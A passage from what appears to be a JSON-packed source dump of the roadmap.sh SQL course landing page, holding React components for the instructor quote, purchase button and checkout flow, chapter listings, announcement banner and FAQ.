12c0-5.523-4.477-10-10-10z\" />\n          </svg>\n          #2 most-starred on GitHub\n        </a>\n        <span className=\"inline-flex items-center gap-1\">\n          <svg className=\"size-3 fill-current\" viewBox=\"0 0 24 24\">\n            <path d=\"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-1 17.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L9 15v1c0 1.1.9 2 2 2v1.93zm6.9-2.54c-.26-.81-1-1.39-1.9-1.39h-1v-3c0-.55-.45-1-1-1H8v-2h2c.55 0 1-.45 1-1V7h2c1.1 0 2-.9 2-2v-.41c2.93 1.19 5 4.06 5 7.41 0 2.08-.8 3.97-2.1 5.39z\" />\n          </svg>\n          founder roadmap.sh\n        </span>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourse/AuthorQuoteMessage.tsx",
    "content": "import { Award, Trophy } from 'lucide-react';\n\nexport function AuthorQuoteMessage() {\n  return (\n    <div className=\"mx-auto mt-14 max-w-2xl sm:mt-20\">\n      <div className=\"relative overflow-hidden rounded-2xl bg-linear-to-br from-yellow-500/10 via-yellow-400/5 to-yellow-300/10 p-8 sm:p-12\">\n        <div className=\"absolute right-0 top-0 -translate-y-1/2 translate-x-1/2\">\n          <div className=\"size-[500px] rounded-full bg-yellow-500/5 blur-3xl\" />\n        </div>\n\n        <div className=\"relative flex flex-col items-center text-center\">\n          <h2 className=\"mb-4 hidden text-2xl font-semibold text-yellow-500 md:block\">\n            From your Instructor\n          </h2>\n\n          <div className=\"mt-4 hidden flex-wrap items-center justify-center gap-x-4 gap-y-2 text-sm text-zinc-400 md:flex\">\n            <span className=\"inline-flex items-center gap-1.5 rounded-full bg-yellow-500/10 px-3 py-1\">\n              <Trophy className=\"size-4 text-yellow-500/80\" />\n              Multiple GitHub Star Awards\n            </span>\n            <span className=\"inline-flex items-center gap-1.5 rounded-full bg-yellow-500/10 px-3 py-1\">\n              <svg className=\"size-4 fill-yellow-500/80\" viewBox=\"0 0 24 24\">\n                <path d=\"M12 2C6.477 2 2 6.477 2 12c0 4.42 2.865 8.17 6.839 9.49.5.092.682-.217.682-.482 0-.237-.008-.866-.013-1.7-2.782.603-3.369-1.342-3.369-1.342-.454-1.155-1.11-1.462-1.11-1.462-.908-.62.069-.608.069-.608 1.003.07 1.531 1.03 1.531 1.03.892 1.529 2.341 1.087 2.91.832.092-.647.35-1.088.636-1.338-2.22-.253-4.555-1.11-4.555-4.943 0-1.091.39-1.984 1.029-2.683-.103-.253-.446-1.27.098-2.647 0 0 .84-.269 2.75 1.022A9.607 9.607 0 0 1 12 6.82c.85.004 1.705.114 2.504.336 1.909-1.291 2.747-1.022 2.747-1.022.546 1.377.203 2.394.1 2.647.64.699 1.028 1.592 1.028 2.683 0 3.842-2.339 4.687-4.566 4.935.359.309.678.919.678 1.852 0 1.336-.012 2.415-.012 2.743 0 .267.18.578.688.48C19.138 20.167 22 16.418 22 12c0-5.523-4.477-10-10-10z\" />\n              </svg>\n              #2 Most Starred Developer\n            </span>\n            <span className=\"inline-flex items-center gap-1.5 rounded-full bg-yellow-500/10 px-3 py-1\">\n              <Award className=\"size-4 text-yellow-500/80\" />\n              Founder roadmap.sh\n            </span>\n            <span className=\"inline-flex items-center gap-1.5 rounded-full bg-yellow-500/10 px-3 py-1\">\n              <Award className=\"size-4 text-yellow-500/80\" />\n              Google Developer Expert\n            </span>\n          </div>\n\n          <div className=\"relative mt-0 md:mt-8\">\n            <p className=\"text-base leading-relaxed text-zinc-200 sm:text-xl\">\n              \"As someone who has worked extensively with databases throughout\n              my career, I know firsthand how crucial SQL skills are. I've\n              created this course to share the practical knowledge that has\n              helped me build and scale data systems at various companies.\"\n            </p>\n          </div>\n\n          <div className=\"mt-8 flex items-center gap-4\">\n            <img\n              src=\"https://github.com/kamranahmedse.png\"\n              alt=\"Kamran Ahmed\"\n              className=\"size-14 rounded-full ring-2 ring-yellow-500/20\"\n            />\n            <div className=\"text-left\">\n              <h3 className=\"font-medium text-yellow-500\">Kamran Ahmed</h3>\n              <p className=\"text-sm text-zinc-400\">\n                Founder roadmap.sh{' '}\n                <span className=\"mx-1 hidden sm:inline\">·</span>\n                <a\n                  href=\"https://twitter.com/kamrify\"\n                  target=\"_blank\"\n                  rel=\"noopener noreferrer\"\n                  className=\"ml-0.5 text-yellow-500/80 underline underline-offset-4 hover:text-yellow-500\"\n                >\n                  @kamrify\n                </a>\n              </p>\n            </div>\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourse/BuyButton.tsx",
    "content": "import { useMutation, useQuery } from '@tanstack/react-query';\nimport {\n  ArrowRightIcon, MousePointerClick,\n  Play\n} from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport { cn } from '../../lib/classname';\nimport {\n  COURSE_PURCHASE_PARAM,\n  COURSE_PURCHASE_SUCCESS_PARAM,\n  isLoggedIn,\n} from '../../lib/jwt';\nimport { coursePriceOptions } from '../../queries/billing';\nimport { courseProgressOptions } from '../../queries/course-progress';\nimport { queryClient } from '../../stores/query-client';\nimport {\n  CourseLoginPopup,\n  SAMPLE_AFTER_LOGIN_KEY,\n} from '../AuthenticationFlow/CourseLoginPopup';\nimport { useToast } from '../../hooks/use-toast';\nimport { httpPost } from '../../lib/query-http';\nimport { deleteUrlParam, getUrlParams } from '../../lib/browser';\nimport { VideoModal } from '../VideoModal';\nimport { useCopyText } from '../../hooks/use-copy-text';\n\nexport const SQL_COURSE_SLUG = 'sql';\n\ntype CreateCheckoutSessionBody = {\n  courseId: string;\n  success?: string;\n  cancel?: string;\n};\n\ntype CreateCheckoutSessionResponse = {\n  checkoutUrl: string;\n};\n\ntype BuyButtonProps = {\n  variant?: 'main' | 'floating' | 'top-nav';\n};\n\nexport function BuyButton(props: BuyButtonProps) {\n  const { variant = 'main' } = props;\n\n  const [isFakeLoading, setIsFakeLoading] = useState(true);\n  const [isLoginPopupOpen, setIsLoginPopupOpen] = useState(false);\n  const [isVideoModalOpen, setIsVideoModalOpen] = useState(false);\n  const toast = useToast();\n\n  const { copyText, isCopied } = useCopyText();\n\n  const { data: coursePricing, isLoading: isLoadingPrice } = useQuery(\n    coursePriceOptions({ courseSlug: SQL_COURSE_SLUG }),\n    queryClient,\n  );\n\n  const { data: courseProgress, isLoading: isLoadingCourseProgress } = useQuery(\n    courseProgressOptions(SQL_COURSE_SLUG),\n    queryClient,\n  );\n\n  const {\n    mutate: createCheckoutSession,\n    isPending: isCreatingCheckoutSession,\n    isSuccess: isCheckoutSessionCreated,\n  } = useMutation(\n    {\n      mutationFn: (body: CreateCheckoutSessionBody) => {\n        return httpPost<CreateCheckoutSessionResponse>(\n          '/v1-create-checkout-session',\n          body,\n        );\n      },\n      onMutate: () => {\n        toast.loading('Creating checkout session...');\n      },\n      onSuccess: (data) => {\n        if (!window.gtag) {\n          window.location.href = data.checkoutUrl;\n          return;\n        }\n\n        window?.fireEvent({\n          action: `${SQL_COURSE_SLUG}_begin_checkout`,\n          category: 'course',\n          label: `${SQL_COURSE_SLUG} Course Checkout Started`,\n          callback: () => {\n            window.location.href = data.checkoutUrl;\n          },\n        });\n\n        // Hacky way to make sure that we redirect in case\n        // GA was blocked or not able to redirect the user.\n        setTimeout(() => {\n          window.location.href = data.checkoutUrl;\n        }, 3000);\n      },\n      onError: (error) => {\n        console.error(error);\n        toast.error(error?.message || 'Failed to create checkout session');\n      },\n    },\n    queryClient,\n  );\n\n  useEffect(() => {\n    const urlParams = getUrlParams();\n    const shouldTriggerPurchase = urlParams[COURSE_PURCHASE_PARAM] === '1';\n    const shouldTriggerSample =\n      localStorage.getItem(SAMPLE_AFTER_LOGIN_KEY) === '1';\n\n    if (shouldTriggerSample) {\n      localStorage.removeItem(SAMPLE_AFTER_LOGIN_KEY);\n      window.location.href = `${import.meta.env.PUBLIC_COURSE_APP_URL}/${SQL_COURSE_SLUG}`;\n    } else if (shouldTriggerPurchase) {\n      deleteUrlParam(COURSE_PURCHASE_PARAM);\n      initPurchase();\n    }\n  }, []);\n\n  useEffect(() => {\n    const urlParams = getUrlParams();\n    const param = urlParams?.[COURSE_PURCHASE_SUCCESS_PARAM];\n    if (!param) {\n      return;\n    }\n\n    const success = param === '1';\n\n    if (success) {\n      window?.fireEvent({\n        action: `${SQL_COURSE_SLUG}_purchase_complete`,\n        category: 'course',\n        label: `${SQL_COURSE_SLUG} Course Purchase Completed`,\n      });\n    } else {\n      window?.fireEvent({\n        action: `${SQL_COURSE_SLUG}_purchase_canceled`,\n        category: 'course',\n        label: `${SQL_COURSE_SLUG} Course Purchase Canceled`,\n      });\n    }\n\n    deleteUrlParam(COURSE_PURCHASE_SUCCESS_PARAM);\n  }, []);\n\n  useEffect(() => {\n    const timer = setTimeout(() => {\n      setIsFakeLoading(false);\n    }, 500);\n\n    return () => clearTimeout(timer);\n  }, []);\n\n  const isLoadingPricing =\n    isFakeLoading ||\n    isCheckoutSessionCreated ||\n    isLoadingPrice ||\n    !coursePricing ||\n    isLoadingCourseProgress ||\n    isCreatingCheckoutSession;\n  const isAlreadyEnrolled = !!courseProgress?.enrolledAt;\n\n  function initPurchase() {\n    if (!isLoggedIn()) {\n      setIsLoginPopupOpen(true);\n      return;\n    }\n\n    const encodedCourseSlug = encodeURIComponent(`/courses/${SQL_COURSE_SLUG}`);\n    const successUrl = `/thank-you?next=${encodedCourseSlug}`;\n\n    createCheckoutSession({\n      courseId: SQL_COURSE_SLUG,\n      success: successUrl,\n      cancel: `/courses/${SQL_COURSE_SLUG}?${COURSE_PURCHASE_SUCCESS_PARAM}=0`,\n    });\n  }\n\n  function onBuyClick() {\n    if (!isLoggedIn()) {\n      setIsLoginPopupOpen(true);\n      return;\n    }\n\n    const hasEnrolled = !!courseProgress?.enrolledAt;\n    if (hasEnrolled) {\n      window.location.href = `${import.meta.env.PUBLIC_COURSE_APP_URL}/${SQL_COURSE_SLUG}`;\n      return;\n    }\n\n    initPurchase();\n  }\n\n  function onReadSampleClick() {\n    if (!isLoggedIn()) {\n      localStorage.setItem(SAMPLE_AFTER_LOGIN_KEY, '1');\n      setIsLoginPopupOpen(true);\n      return;\n    }\n\n    window?.fireEvent({\n      action: `${SQL_COURSE_SLUG}_demo_started`,\n      category: 'course',\n      label: `${SQL_COURSE_SLUG} Course Demo Started`,\n    });\n\n    setTimeout(() => {\n      window.location.href = `${import.meta.env.PUBLIC_COURSE_APP_URL}/${SQL_COURSE_SLUG}`;\n    }, 200);\n  }\n\n  const courseLoginPopup = isLoginPopupOpen && (\n    <CourseLoginPopup onClose={() => setIsLoginPopupOpen(false)} />\n  );\n\n  if (variant === 'main') {\n    return (\n      <div className=\"relative flex w-full flex-col items-center gap-2 md:w-auto\">\n        {courseLoginPopup}\n        {isVideoModalOpen && (\n          <VideoModal\n            videoId=\"6S1CcF-ngeQ\"\n            onClose={() => setIsVideoModalOpen(false)}\n          />\n        )}\n        <div className=\"relative flex flex-col gap-2 md:flex-row md:gap-0\">\n          <button\n            onClick={onBuyClick}\n            disabled={isLoadingPricing}\n            className={cn(\n              'group relative mr-2 inline-flex w-full min-w-[235px] items-center justify-center overflow-hidden rounded-xl bg-linear-to-r from-yellow-500 to-yellow-300 px-8 py-3 text-base font-semibold text-black transition-all duration-300 ease-out hover:scale-[1.02] hover:shadow-[0_0_30px_rgba(234,179,8,0.4)] focus:outline-hidden active:ring-0 md:w-auto md:rounded-full md:text-lg',\n              (isLoadingPricing || isCreatingCheckoutSession) &&\n                'striped-loader-yellow pointer-events-none mr-4 scale-105 bg-yellow-500',\n            )}\n          >\n            {isLoadingPricing ? (\n              <span className=\"relative flex items-center gap-2\">&nbsp;</span>\n            ) : isAlreadyEnrolled ? (\n              <span className=\"relative flex items-center gap-2\">\n                Start Learning\n              </span>\n            ) : (\n              <span className=\"relative flex items-center gap-2\">\n                Buy now for{' '}\n                {coursePricing?.isEligibleForDiscount ? (\n                  <span className=\"flex items-center gap-2\">\n                    <span className=\"hidden text-base line-through opacity-75 md:inline\">\n                      ${coursePricing?.fullPrice}\n                    </span>\n                    <span className=\"text-base md:text-xl\">\n                      ${coursePricing?.regionalPrice}\n                    </span>\n                  </span>\n                ) : (\n                  <span>${coursePricing?.regionalPrice}</span>\n                )}\n                <ArrowRightIcon className=\"h-5 w-5 transition-transform duration-300 ease-out group-hover:translate-x-1\" />\n              </span>\n            )}\n          </button>\n          <button\n            onClick={onReadSampleClick}\n            data-demo-button\n            className={cn(\n              'group relative hidden items-center justify-center overflow-hidden rounded-xl border border-yellow-500/30 bg-transparent px-6 py-3 text-base font-medium text-yellow-500 transition-all duration-300 ease-out hover:bg-yellow-500/10 focus:outline-hidden active:ring-0 md:rounded-full',\n              {\n                'hidden lg:inline-flex':\n                  !isLoadingPricing && !isAlreadyEnrolled,\n              },\n            )}\n          >\n            <span className=\"relative flex items-center gap-2\">\n              <MousePointerClick className=\"h-5 w-5\" />\n              Access Demo\n            </span>\n          </button>\n        </div>\n\n        {!isLoadingPricing && (\n          <span className=\"absolute top-full z-50 flex w-max translate-y-4 flex-row items-center justify-center text-sm text-yellow-400\">\n            Lifetime access <span className=\"mx-2\">&middot;</span>{' '}\n            <button\n              onClick={() => setIsVideoModalOpen(true)}\n              className=\"flex cursor-pointer flex-row items-center gap-1.5 underline underline-offset-4 hover:text-yellow-500\"\n            >\n              <Play className=\"size-3 fill-current\" /> Watch Video (3 min)\n            </button>\n          </span>\n        )}\n      </div>\n    );\n  }\n\n  if (variant === 'top-nav') {\n    return (\n      <button\n        onClick={onBuyClick}\n        disabled={isLoadingPricing}\n        className={`animate-fade-in rounded-full px-5 py-2 text-base font-medium text-yellow-700 transition-colors hover:text-yellow-500`}\n      >\n        Purchase Course\n      </button>\n    );\n  }\n\n  return (\n    <div className=\"relative flex flex-col items-center gap-2\">\n      {courseLoginPopup}\n      <button\n        onClick={onBuyClick}\n        disabled={isLoadingPricing}\n        className={cn(\n          'group relative inline-flex min-w-[220px] items-center justify-center overflow-hidden rounded-full bg-linear-to-r from-yellow-500 to-yellow-300 px-8 py-2 font-medium text-black transition-all duration-300 ease-out hover:scale-[1.02] hover:shadow-[0_0_30px_rgba(234,179,8,0.4)] focus:outline-hidden',\n          (isLoadingPricing || isCreatingCheckoutSession) &&\n            'striped-loader-yellow pointer-events-none bg-yellow-500',\n        )}\n      >\n        {isLoadingPricing ? (\n          <span className=\"relative flex items-center gap-2\">&nbsp;</span>\n        ) : isAlreadyEnrolled ? (\n          <span className=\"relative flex items-center gap-2\">\n            Start Learning\n          </span>\n        ) : (\n          <span className=\"relative flex items-center gap-2\">\n            Buy Now ${coursePricing?.regionalPrice}\n            <ArrowRightIcon className=\"h-5 w-5 transition-transform duration-300 ease-out group-hover:translate-x-1\" />\n          </span>\n        )}\n      </button>\n\n      {!isLoadingPricing && !isAlreadyEnrolled && (\n        <span className=\"top-full text-sm text-yellow-400\">\n          Lifetime access <span className=\"mx-1\">&middot;</span> Free updates\n        </span>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourse/ChapterRow.tsx",
    "content": "import { ChevronDown, BookIcon, CodeIcon, CircleDot } from 'lucide-react';\nimport { cn } from '../../lib/classname';\nimport { useEffect, useState } from 'react';\n\ntype ChapterRowProps = {\n  counter: number;\n  icon: React.ReactNode;\n  title: string;\n  description: string;\n  lessonCount: number;\n  challengeCount: number;\n  isExpandable?: boolean;\n  className?: string;\n  lessons?: { title: string; type: 'lesson' | 'challenge' | 'quiz' }[];\n};\n\nexport function ChapterRow(props: ChapterRowProps) {\n  const {\n    counter,\n    icon,\n    title,\n    description,\n    lessonCount,\n    challengeCount,\n    isExpandable = true,\n    className,\n    lessons = [],\n  } = props;\n\n  const [isExpanded, setIsExpanded] = useState(true);\n\n  const regularLessons = lessons.filter((l) => l.type === 'lesson');\n  const challenges = lessons.filter((l) =>\n    ['challenge', 'quiz'].includes(l.type),\n  );\n\n  useEffect(() => {\n    const isMobile = window.innerWidth < 768;\n    setIsExpanded(!isMobile);\n  }, []);\n\n  return (\n    <div\n      className={cn('group relative select-none overflow-hidden', className)}\n    >\n      <div\n        role=\"button\"\n        onClick={() => isExpandable && setIsExpanded(!isExpanded)}\n        className={cn(\n          'relative rounded-xl border border-zinc-800 bg-zinc-800 p-6',\n          'bg-linear-to-br from-zinc-900/90 via-zinc-900/70 to-zinc-900/50',\n          !isExpanded &&\n            'hover:bg-linear-to-br hover:from-zinc-900/95 hover:via-zinc-900/80 hover:to-zinc-900/60',\n          !isExpanded &&\n            'hover:cursor-pointer hover:shadow-[0_0_30px_rgba(0,0,0,0.2)]',\n          isExpanded && 'cursor-pointer rounded-b-none border-b-0',\n        )}\n      >\n        <div className=\"flex items-start gap-4\">\n          <div className=\"hidden shrink-0 md:block\">\n            <div className=\"rounded-full bg-yellow-500/10 p-3\">{icon}</div>\n          </div>\n\n          <div className=\"grow\">\n            <h3 className=\"text-xl font-semibold tracking-wide text-white\">\n              <span className=\"inline text-gray-500 md:hidden\">\n                {counter}.{' '}\n              </span>\n              {title}\n            </h3>\n            <p className=\"mt-2 text-zinc-400\">{description}</p>\n\n            <div className=\"mt-4 flex items-center gap-4\">\n              <div className=\"flex items-center gap-2 text-sm text-zinc-500\">\n                <span>{lessonCount} Lessons</span>\n              </div>\n              <div className=\"flex items-center gap-2 text-sm text-zinc-500\">\n                <span>{challengeCount} Challenges</span>\n              </div>\n            </div>\n          </div>\n\n          {isExpandable && (\n            <div className=\"shrink-0 rounded-full bg-zinc-800/80 p-2 text-zinc-400 group-hover:bg-zinc-800 group-hover:text-yellow-500\">\n              <ChevronDown\n                className={cn(\n                  'h-4 w-4 transition-transform',\n                  isExpanded ? 'rotate-180' : '',\n                )}\n              />\n            </div>\n          )}\n        </div>\n      </div>\n\n      {isExpanded && (\n        <div className=\"rounded-b-xl border border-t-0 border-zinc-800 bg-linear-to-br from-zinc-900/50 via-zinc-900/30 to-zinc-900/20\">\n          <div className=\"grid grid-cols-1 divide-zinc-800 md:grid-cols-2 md:divide-x\">\n            {regularLessons.length > 0 && (\n              <div className=\"p-6 pb-0 md:pb-6\">\n                <h4 className=\"mb-4 text-sm font-medium uppercase tracking-wider text-zinc-500\">\n                  Lessons\n                </h4>\n                <div className=\"space-y-3\">\n                  {regularLessons.map((lesson, index) => (\n                    <div\n                      key={index}\n                      className=\"flex items-center gap-3 text-zinc-400 hover:text-yellow-500\"\n                    >\n                      <BookIcon className=\"h-4 w-4\" />\n                      <span>{lesson.title}</span>\n                    </div>\n                  ))}\n                </div>\n              </div>\n            )}\n\n            {challenges.length > 0 && (\n              <div className=\"p-6\">\n                <h4 className=\"mb-4 text-sm font-medium uppercase tracking-wider text-zinc-500\">\n                  Exercises\n                </h4>\n                <div className=\"space-y-3\">\n                  {challenges.map((challenge, index) => (\n                    <div\n                      key={index}\n                      className=\"flex items-center gap-3 text-zinc-400 hover:text-yellow-500\"\n                    >\n                      {challenge.type === 'challenge' ? (\n                        <CodeIcon className=\"h-4 w-4\" />\n                      ) : (\n                        <CircleDot className=\"h-4 w-4\" />\n                      )}\n                      <span>{challenge.title}</span>\n                    </div>\n                  ))}\n                </div>\n              </div>\n            )}\n          </div>\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourse/CourseAnnouncement.tsx",
    "content": "import { Database, X } from 'lucide-react';\nimport { useState, useEffect } from 'react';\nimport { cn } from '../../lib/classname';\n\nconst HIDE_ANNOUNCEMENT_END_KEY = '__course_announcement_closed_at__';\n\nexport function CourseAnnouncement() {\n  const [isVisible, setIsVisible] = useState(false);\n\n  useEffect(() => {\n    const hiddenEndAt = Number(\n      localStorage.getItem(HIDE_ANNOUNCEMENT_END_KEY) || '0',\n    );\n\n    // only show if the closed at passed 14 days ago\n    const shouldShow = hiddenEndAt < Date.now();\n    if (!shouldShow) {\n      return;\n    }\n\n    const timer = setTimeout(() => setIsVisible(true), 5000);\n    return () => clearTimeout(timer);\n  }, []);\n\n  return (\n    <div\n      className={cn(\n        'sticky top-0 z-91 h-0 overflow-hidden transition-[height] duration-300',\n        isVisible ? 'h-[30px] sm:h-[36px]' : 'h-0',\n      )}\n    >\n      <a href=\"/courses/sql\" className=\"flex items-center bg-yellow-400 py-1.5\">\n        <span className=\"container mx-auto flex items-center justify-start gap-2 text-center sm:justify-center sm:gap-4\">\n          <span className=\"flex items-center gap-1.5 text-xs font-medium text-black md:text-base\">\n            <Database className=\"hidden h-4 w-4 shrink-0 text-black sm:block\" />\n            <span className=\"hidden sm:block\">\n              Master SQL with our new premium course\n            </span>\n            <span className=\"block sm:hidden\">Announcing our SQL course</span>\n          </span>\n          <span\n            className={cn(\n              'items-center gap-1.5 rounded-full bg-black px-2 py-0.5 text-xs font-medium tracking-wide text-white uppercase hover:bg-zinc-800 sm:px-3 sm:py-1',\n              isVisible && 'animate-wiggle [animation-delay:0.25s]',\n            )}\n          >\n            <span className=\"mr-1.5 hidden sm:inline\">Start Learning</span>\n            <span className=\"mr-1.5 inline sm:hidden\">Visit</span>\n            <span className=\"\">→</span>\n          </span>\n        </span>\n      </a>\n      <button\n        type=\"button\"\n        className=\"absolute top-1/2 right-3.5 -translate-y-1/2 rounded-lg px-1.5 py-1.5 text-gray-500 hover:bg-yellow-500 hover:text-gray-700\"\n        onClick={(e) => {\n          setIsVisible(false);\n\n          // 14 days from now\n          const fourteenDaysFromNow = Date.now() + 1000 * 60 * 60 * 24 * 14;\n          localStorage.setItem(\n            HIDE_ANNOUNCEMENT_END_KEY,\n            String(fourteenDaysFromNow),\n          );\n        }}\n      >\n        <X className=\"h-4 w-4\" />\n      </button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourse/CourseAuthor.tsx",
    "content": "export function CourseAuthor() {\n  return (\n    <div className=\"mt-8 w-full max-w-3xl space-y-4\">\n      <div className=\"flex flex-row items-center gap-5\">\n        <img\n          src=\"https://assets.roadmap.sh/guest/kamran-lqjta.jpeg\"\n          className=\"size-12 rounded-full bg-yellow-500/10 md:size-16\"\n          alt=\"Kamran Ahmed\"\n        />\n        <a\n          href=\"https://twitter.com/kamrify\"\n          target=\"_blank\"\n          className=\"flex flex-col\"\n        >\n          <span className=\"text-lg font-medium text-zinc-200 md:text-2xl\">\n            Kamran Ahmed\n          </span>\n          <span className=\"text-sm text-zinc-500 md:text-lg\">\n            Software Engineer\n          </span>\n        </a>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourse/CourseFeature.tsx",
    "content": "import { MinusIcon, PlusIcon, type LucideIcon } from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport { cn } from '../../lib/classname';\n\ntype CourseFeatureProps = {\n  title: string;\n  icon: LucideIcon;\n  description: string;\n  imgUrl?: string;\n};\n\nexport function CourseFeature(props: CourseFeatureProps) {\n  const { title, icon: Icon, description, imgUrl } = props;\n\n  const [isExpanded, setIsExpanded] = useState(false);\n  const [isZoomed, setIsZoomed] = useState(false);\n\n  useEffect(() => {\n    function onScroll() {\n      if (isZoomed) {\n        setIsZoomed(false);\n      }\n    }\n\n    window.addEventListener('scroll', onScroll);\n    return () => window.removeEventListener('scroll', onScroll);\n  }, [isZoomed]);\n\n  return (\n    <>\n      {isZoomed && (\n        <div\n          onClick={() => {\n            setIsZoomed(false);\n            setIsExpanded(false);\n          }}\n          className=\"fixed inset-0 z-999 flex cursor-zoom-out items-center justify-center bg-black/75\"\n        >\n          <img\n            src={imgUrl}\n            alt={title}\n            className=\"max-h-[50%] max-w-[90%] rounded-xl object-contain\"\n          />\n        </div>\n      )}\n      <div\n        className={cn(\n          'fixed inset-0 z-10 bg-black/70 opacity-100 transition-opacity duration-200 ease-out',\n          {\n            'pointer-events-none opacity-0': !isExpanded,\n          },\n        )}\n        onClick={() => setIsExpanded(false)}\n      ></div>\n      <div className=\"relative\">\n        <button\n          onClick={() => setIsExpanded(!isExpanded)}\n          className={cn(\n            'z-20 flex w-full cursor-pointer items-center rounded-lg border border-zinc-800 bg-zinc-900/50 px-4 py-3 text-left transition-colors duration-200 ease-out hover:bg-zinc-800/40',\n            {\n              'relative bg-zinc-800 hover:bg-zinc-800': isExpanded,\n            },\n          )}\n        >\n          <span className=\"flex grow items-center space-x-3\">\n            <Icon />\n            <span>{title}</span>\n          </span>\n          {isExpanded ? (\n            <MinusIcon className=\"h-4 w-4\" />\n          ) : (\n            <PlusIcon className=\"h-4 w-4\" />\n          )}\n        </button>\n        {isExpanded && (\n          <div className=\"absolute left-0 top-full z-20 translate-y-2 rounded-lg border border-zinc-800 bg-zinc-800 p-4\">\n            <p>{description}</p>\n            {imgUrl && (\n              <img\n                onClick={() => {\n                  setIsZoomed(true);\n                  setIsExpanded(false);\n                }}\n                src={imgUrl}\n                alt={title}\n                className=\"mt-4 h-auto pointer-events-none md:pointer-events-auto w-full cursor-zoom-in rounded-lg object-right-top\"\n              />\n            )}\n          </div>\n        )}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourse/FAQSection.tsx",
    "content": "import { ChevronDownIcon } from 'lucide-react';\nimport { useState } from 'react';\nimport { SectionHeader } from './SectionHeader';\n\ntype FAQItem = {\n  question: string;\n  answer: string;\n};\n\nfunction FAQRow({ question, answer }: FAQItem) {\n  const [isExpanded, setIsExpanded] = useState(false);\n\n  return (\n    <div className=\"rounded-lg border border-zinc-800 bg-zinc-900\">\n      <button\n        onClick={() => setIsExpanded(!isExpanded)}\n        className=\"flex w-full items-center justify-between p-4 md:p-6 text-left gap-2\"\n      >\n        <h3 className=\"text-lg md:text-xl text-balance font-normal text-white\">{question}</h3>\n        <ChevronDownIcon\n          className={`h-5 w-5 text-zinc-400 transition-transform duration-200 ${\n            isExpanded ? 'rotate-180' : ''\n          }`}\n        />\n      </button>\n      {isExpanded && (\n        <div className=\"border-t border-zinc-800 p-6 pt-4 text-base md:text-lg leading-relaxed\">\n          <p>{answer}</p>\n        </div>\n      )}\n    </div>\n  );\n}\n\nexport function FAQSection() {\n  const faqs: FAQItem[] = [\n    {\n      question: 'What is the format of the course?',\n      answer:\n        'The course is written in textual format. There are several chapters; each chapter has a set of lessons, followed by a set of practice problems and quizzes. You can learn at your own pace and revisit the content anytime.',\n    },\n    {\n      question: 'What prerequisites do I need for this course?',\n      answer:\n        'No prior SQL knowledge is required. The course starts from the basics and gradually progresses to advanced topics.',\n    },\n    {\n      question: 'Do I need to have a local database to follow the course?',\n      answer:\n        'No, we have an integrated coding playground, populated with a sample databases depending on the lesson, that you can use to follow the course. You can also use your own database if you have one.',\n    },\n    {\n      question: 'How long do I have access to the course?',\n      answer:\n        'You get lifetime access to the course including all future updates. Once you purchase, you can learn at your own pace and revisit the content anytime.',\n    },\n    {\n      question: 'What kind of support is available?',\n      answer:\n        'You get access to an AI tutor within the course that can help you with queries 24/7. Additionally, you can use the community forums to discuss problems and get help from other learners.',\n    },\n    {\n      question: 'Will I get a certificate upon completion?',\n      answer:\n        \"Yes, upon completing the course and its challenges, you'll receive a certificate of completion that you can share with employers or add to your LinkedIn profile.\",\n    },\n    {\n      question: 'Can I use this for job interviews?',\n      answer:\n        'Absolutely! The course covers common SQL interview topics and includes practical challenges similar to what you might face in technical interviews. The hands-on experience will prepare you well for real-world scenarios.',\n    },\n    {\n      question: \"What if I don't like the course?\",\n      answer:\n        'You can request a refund within 30 days of purchase by emailing info@roadmap.sh. The refund amount will be prorated based on when you request it. For example, if you request a refund 15 days after purchase, you\\'ll receive 50% back. I\\'d also love to hear your feedback to improve the course.',\n    },\n    {\n      question: 'I already know SQL, can I still take this course?',\n      answer:\n        'Yes! The course starts from the basics and gradually progresses to advanced topics. You can skip the chapters that you already know and focus on the ones that you need.',\n    },\n    {\n      question: 'Do you offer any team licenses?',\n      answer: 'Yes, please contact me at kamran@roadmap.sh',\n    },\n    {\n      question: 'How can I gift this course to someone?',\n      answer:\n        'Please contact me at kamran@roadmap.sh and I will be happy to help you.',\n    },\n    {\n      question: 'What if I have a question that is not answered here?',\n      answer:\n        'Please contact me at kamran@roadmap.sh and I will be happy to help you.',\n    },\n  ];\n\n  return (\n    <>\n      <SectionHeader\n        title=\"Frequently Asked Questions\"\n        description=\"Find answers to common questions about the course below.\"\n        className=\"mt-10 md:mt-24\"\n      />\n\n      <div className=\"mt-6 md:mt-8 w-full max-w-3xl space-y-2 md:space-y-6\">\n        {faqs.map((faq, index) => (\n          <FAQRow key={index} {...faq} />\n        ))}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourse/FloatingPurchase.tsx",
    "content": "import { ArrowRightIcon } from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport { cn } from '../../lib/classname';\nimport { BuyButton } from './BuyButton';\n\nexport function FloatingPurchase() {\n  const [isHidden, setIsHidden] = useState(true);\n\n  useEffect(() => {\n    function onScroll() {\n      setIsHidden(window.scrollY < 400);\n    }\n\n    window.addEventListener('scroll', onScroll);\n    return () => window.removeEventListener('scroll', onScroll);\n  }, []);\n\n  return (\n    <div\n      className={cn(\n        'fixed bottom-0 left-0 right-0 z-5 flex items-center justify-center transition-all duration-200 ease-out',\n        {\n          'pointer-events-none -bottom-10 opacity-0': isHidden,\n        },\n      )}\n    >\n      {/* Desktop version */}\n      <div className=\"hidden mb-5 md:flex w-full max-w-[800px] items-center justify-between rounded-2xl bg-yellow-950 p-5 shadow-lg ring-1 ring-yellow-500/40\">\n        <div className=\"flex flex-col\">\n          <h2 className=\"mb-1 text-xl font-medium text-white\">\n            Go from Zero to Hero in SQL\n          </h2>\n          <p className=\"text-sm text-zinc-400\">\n            Get instant access to the course and start learning 